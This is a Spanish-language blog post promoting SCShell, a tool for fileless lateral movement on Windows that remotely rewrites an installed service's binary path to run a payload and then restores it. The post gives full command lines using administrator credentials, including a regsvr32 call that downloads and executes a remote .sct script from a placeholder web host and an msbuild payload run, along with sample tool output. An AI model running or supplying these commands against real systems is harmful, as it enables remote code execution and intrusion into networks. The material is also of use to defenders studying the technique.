SCShell: movimientos laterales a través del service manager

El gran Mr.Un1k0d3r de RingZer0 Team ha creado una herramienta que nos ayudará a movernos lateralmente usando el service manager sin registrar o crear ningún servicio ni escribir en disco.

La magia se basa en ChangeServiceConfigA, una función que usa los servicios de configuración de programa de Windows para cambiar los parámetros de los servicios instalados. En lugar de crear un servicio, simplemente abre uno de forma remota y modifica el nombre de la ruta del binario a través de la API ChangeServiceConfigA. Luego inicia el servicio y, una vez se ha completado la ejecución, se vuelve a poner la ruta original del binario. (La ruta original del servicio es extraída usando QueryServiceConfigA).

Lo bueno también es que la autenticación no se realiza contra SMB, todo se realiza a través de DCERPC.


Actualmente la herramienta está hecha en C, aunque planean migrarla a C# y Powershell.

Uso:

SCShell.exe target service payload username domain password

En target podemos poner local si queremos ejecutar el payload de forma local. Por otro lado, un ejemplo de ejecución remota sería:

SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" administrator . Password

Se recomienda usar C:\windows\system32\cmd.exe /c para asegurarse de que el payload no se eliminará una vez que se detenga el servicio. Eso sí, necesitaremos usar la ruta completa.

También podemos usar un payload de msbuild:
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj" administrator . Password
SCShell ***
Trying to connect to 192.168.197.131
Username was provided attempting to call LogonUserA
SC_HANDLE Manager 0x009ED250
Opening XblAuthManager
SC_HANDLE Service 0x009ED1B0
Service path was changed to C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj
Service was started.

El proyecto lo tenéis en https://github.com/Mr-Un1k0d3r/SCShell, donde encontraréis el ejecutable y el código fuente para compilarlo vosotros mismos con GCC Mingw.

Comentarios